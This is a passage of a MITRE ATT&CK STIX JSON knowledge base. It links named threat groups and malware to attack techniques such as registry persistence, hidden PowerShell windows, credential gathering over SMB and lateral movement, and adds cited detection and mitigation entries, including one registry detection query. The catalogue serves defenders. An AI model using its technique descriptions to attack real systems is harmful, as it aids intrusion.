2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:40:51.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db3b37f1-9c85-4e52-bbd7-4b71ad68400d","type":"relationship","created":"2019-10-11T16:04:32.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-11T16:04:32.117Z","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used the DWriteCreateFactory() function to load additional modules.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db451851-13b7-4aec-9146-2a770115140a","type":"relationship","created":"2019-08-26T13:02:46.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:35:34.217Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to execute a shell command on the system.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db46b437-c406-4c36-a0fe-bf1f2c32a6fe","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.698Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) checks if the victim OS is 32 or 64-bit.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db4fbefd-e9ed-495a-89af-67c4b6780508","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.559Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) checks to see if the system is configured with \"Daylight\" time and checks for a specific region to be set for the timezone.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db5014cf-3281-493d-8416-9385737cf12d","created":"2024-03-11T18:17:15.258Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T18:17:15.258Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) can send and receive zlib compressed data within `POST` requests.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db518d43-10d3-4c9b-bd69-3b8d06246d23","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Register-WmiEvent","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1","description":"Microsoft. (n.d.). Retrieved January 24, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent)","modified":"2022-04-20T00:39:09.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db5506f9-9451-471f-bb68-845c281be09c","type":"relationship","created":"2020-07-16T15:10:35.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:10:35.348Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) has discovered the username of the user running the backdoor.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db5bc5e2-fb3d-42a7-8fbc-b0aff2be6f8f","type":"relationship","created":"2021-12-06T20:36:43.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:36:43.827Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has moved laterally via RDP.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db61e886-9295-4df7-a9db-25d7b9879b82","type":"relationship","created":"2020-08-17T12:57:12.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:32.120Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use a .lnk shortcut for the Control Panel to establish persistence.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db6220f4-9e1c-487c-9b8d-e016565817e3","type":"relationship","created":"2019-01-29T17:59:44.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"},{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.190Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) adds persistence by creating Registry Run keys.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db694c8b-c38d-4418-937f-9b0ad938f3b5","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db75183b-9ad3-41e4-9730-f0bba5ef55c1","created":"2023-06-23T20:15:12.020Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-23T20:15:12.020Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use its `Process List` command to enumerate processes on compromised hosts.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db7707d7-5334-47b3-b203-0ee4fcbae5e9","type":"relationship","created":"2021-12-06T16:16:03.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T19:04:25.907Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.(Citation: US-CERT TA18-074A)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db7aadec-757b-49b3-8691-1f23b5c7c5fc","created":"2022-10-11T16:46:26.534Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:46:26.534Z","description":"(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db7db901-6b19-4cd2-9d22-17b5703bbf7f","created":"2023-02-13T20:51:03.305Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-13T20:51:03.305Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can call and dynamically resolve hashed APIs.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db80dd29-d335-48b9-853e-5f15e576acb3","type":"relationship","created":"2020-09-30T14:29:28.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:29:28.424Z","description":"(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db85221a-3d34-4e8d-bcb1-95b507617b84","created":"2022-03-25T18:44:17.940Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can create system services to aid in executing the payload.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)","modified":"2022-04-15T01:47:45.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db852d3d-7f78-43b9-bd14-3f2d11c22863","type":"relationship","created":"2019-01-31T01:07:58.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.185Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used the netstat -anpo tcp command to display TCP connections on the victim's machine.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db8530c2-ce41-4943-8a17-91502187fd06","type":"relationship","created":"2019-10-10T21:57:37.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2021-02-09T13:55:29.574Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db85ce33-98cf-4fec-93bd-402909cbe4bc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.641Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to scan for open ports on hosts in a connected network.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db85d1cf-9aff-4214-9a56-2b21335c7cb7","created":"2023-03-17T15:03:29.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T00:18:34.424Z","description":"Ensure that developers and system administrators are aware of the risk associated with sharing unsecured passwords across communication services.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db85d274-4717-4b55-b5b6-8a1d2100ca2e","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:12:05.962Z","description":"Monitor newly executed processes that may establish persistence by executing malicious content triggered by user inactivity.\n\nAnalytic 1 - HKCU\\Control Panel\\Desktop registry key\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | where CommandLine LIKE \"%reg%\" AND CommandLine LIKE \"%add%\" AND CommandLine LIKE \"%HKCU\\Control Panel\\Desktop\\%\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db89fa32-36b4-4642-80b1-144e7d3d7c97","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:54:28.016Z","description":"Monitor executed commands and arguments that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\n\nNote: For Windows, Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on potential Security Software Discovery. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db8a5d74-11f0-4773-aae8-43a0a6f85f61","created":"2020-01-24T14:47:41.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.873Z","description":"Adversaries install new AppCertDLL binaries to execute this technique. Identify and block potentially malicious software executed through AppCertDLLs functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs 